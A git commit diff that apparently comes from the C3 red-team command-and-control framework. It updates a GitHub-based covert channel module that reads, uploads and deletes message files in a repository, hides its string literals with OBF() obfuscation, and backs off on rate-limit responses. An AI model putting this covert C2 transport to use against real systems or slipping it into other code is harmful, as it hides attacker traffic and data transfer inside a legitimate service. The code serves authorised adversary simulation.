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C3
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Update ReadFile to raw.githubusercontent and handle HTTP Response Conflict like TooManyRequest

master
Sunny Neo 2020-08-08 01:42:33 +08:00
parent 86a6ce6ee8
commit 8a8be0f783
2 changed files with 28 additions and 51 deletions
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77
Src/Common/FSecure/Github/GithubApi.cpp
View File

@ -98,40 +98,27 @@ std::string FSecure::GithubApi::CreateChannel(std::string const& channelName) {
return channelName;
}
FSecure::ByteVector FSecure::GithubApi::ReadFile(std::string const& fileNameSizeSHA) {
FSecure::ByteVector FSecure::GithubApi::ReadFile(std::string const& fileNameSHA) {
std::string url;
json response;
std::string delimiter = OBF(":");
//string contains filename:size:sha value
std::vector<std::string> fileNameSizeSHASplit = Utils::SplitAndCopy(fileNameSizeSHA, delimiter);
std::int64_t fileSize = 0;
std::string delimiter = OBF("!");
std::string filename;
std::string fileSHA;
std::string fileDownloadURL;
//string contains filename:sha:download_url value
std::vector<std::string> fileNameSHASplit = Utils::SplitAndCopy(fileNameSHA, delimiter);
if (fileNameSizeSHASplit.size() > 0) {
filename = fileNameSizeSHASplit.at(0);
fileSize = std::stoull(fileNameSizeSHASplit.at(1), NULL ,10);
fileSHA = fileNameSizeSHASplit.at(2);
if (fileNameSHASplit.size() > 0) {
filename = fileNameSHASplit.at(0);
fileSHA = fileNameSHASplit.at(1);
fileDownloadURL = fileNameSHASplit.at(2);
}
else {
throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSizeSHA\n"));
throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSHA\n"));
}
// Github does not allow API access to download raw file with size of > 1 MB
// less than or equal to 1 MB for Github API, otherwise Github Blob to retrieve the file
if (fileSize <= 1048576) {
url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel
+ OBF("/contents/") + filename;
}
else {
url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel
+ OBF("/git/blobs/") + fileSHA;
}
auto content = cppcodec::base64_rfc4648::decode(SendHttpRequest(url, OBF("application/vnd.github.v3.raw"), Method::GET, true));
ByteVector content = SendHttpRequest(fileDownloadURL, "", Method::GET, true);
return content;
}
@ -156,14 +143,12 @@ void FSecure::GithubApi::WriteMessageToFile(std::string const& direction, ByteVi
j[OBF("message")] = OBF("Initial Commit");
j[OBF("branch")] = OBF("master");
j[OBF("content")] = cppcodec::base64_rfc4648::encode(cppcodec::base64_rfc4648::encode(data));
j[OBF("content")] = cppcodec::base64_rfc4648::encode(data);
json response = SendJsonRequest(url, j, Method::PUT);
}
void FSecure::GithubApi::UploadFile(std::string const& path) {
std::cout << "UPLOAD FILE ... " << std::flush;
std::filesystem::path filepathForUpload = path;
auto readFile = std::ifstream(filepathForUpload, std::ios::binary);
@ -175,30 +160,25 @@ void FSecure::GithubApi::UploadFile(std::string const& path) {
std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn;
WriteMessageToFile("", packet, filename);
std::cout << "UPLOAD FILE OK" << std::endl;
}
void FSecure::GithubApi::DeleteFile(std::string const& fileNameSizeSHA) {
void FSecure::GithubApi::DeleteFile(std::string const& fileNameSHA) {
std::string url;
json j;
json response;
std::string delimiter = OBF(":");
std::string delimiter = OBF("!");
std::string fileSHA;
std::vector<std::string> fileNameSizeSHASplit = Utils::SplitAndCopy(fileNameSizeSHA, delimiter);
std::int64_t fileSize;
std::string filename;
if (fileNameSizeSHASplit.size() > 0) {
filename = fileNameSizeSHASplit.at(0);
fileSize = std::stoull(fileNameSizeSHASplit.at(1), NULL, 10);
fileSHA = fileNameSizeSHASplit.at(2);
std::vector<std::string> fileNameSHASplit = Utils::SplitAndCopy(fileNameSHA, delimiter);
if (fileNameSHASplit.size() > 0) {
filename = fileNameSHASplit.at(0);
fileSHA = fileNameSHASplit.at(1);
}
else {
throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSizeSHA\n"));
throw std::runtime_error(OBF("Throwing exception: cant parse fileNameSHA\n"));
}
url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") + this->m_Channel
@ -230,10 +210,9 @@ std::map<std::string, std::string> FSecure::GithubApi::GetMessagesByDirection(st
json response;
std::string filename;
std::size_t found;
std::int64_t fileSize;
std::string fileSizeStr;
std::string fileSHA;
std::string fileDownloadURL;
std::string delimiter = OBF("!");
std::string url = OBF("https://api.github.com/repos/") + this->m_Username + OBF("/") +
this->m_Channel + OBF("/contents");
@ -242,17 +221,15 @@ std::map<std::string, std::string> FSecure::GithubApi::GetMessagesByDirection(st
for (auto& match : response) {
if (match.contains(OBF("name"))) {
filename = match[OBF("name")];
fileSize = match[OBF("size")];
fileSHA = match[OBF("sha")];
fileSizeStr = std::to_string(fileSize);
fileDownloadURL = match[OBF("download_url")];
//Search whether filename contains direction id
found = filename.find(direction);
if (found != std::string::npos) {
std::string ts = filename.substr(filename.length() - 10); // 10 = epoch time length
messages.insert({ts, filename + OBF(":") + fileSizeStr + OBF(":") + fileSHA });
messages.insert({ts, filename + delimiter + fileSHA + delimiter + fileDownloadURL});
}
}
}
@ -285,7 +262,7 @@ FSecure::ByteVector FSecure::GithubApi::SendHttpRequest(std::string const& host,
if (resp.GetStatusCode() == StatusCode::OK || resp.GetStatusCode() == StatusCode::Created) {
return resp.GetData();
}
else if (resp.GetStatusCode() == StatusCode::TooManyRequests) {
else if (resp.GetStatusCode() == StatusCode::TooManyRequests || resp.GetStatusCode() == StatusCode::Conflict) {
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
}
else {

2
Src/Common/FSecure/Github/GithubApi.h
View File

@ -43,7 +43,7 @@ namespace FSecure
/// Download file by its path.
/// @param filename - path of file and the size. Format "filename:filesize"
/// @return - string of file content
FSecure::ByteVector ReadFile(std::string const& fileNameSizeSHA);
FSecure::ByteVector ReadFile(std::string const& fileNameSHA);
/// Write a message as the contents of a file and upload to Github.
/// @param direction - the name of the file to upload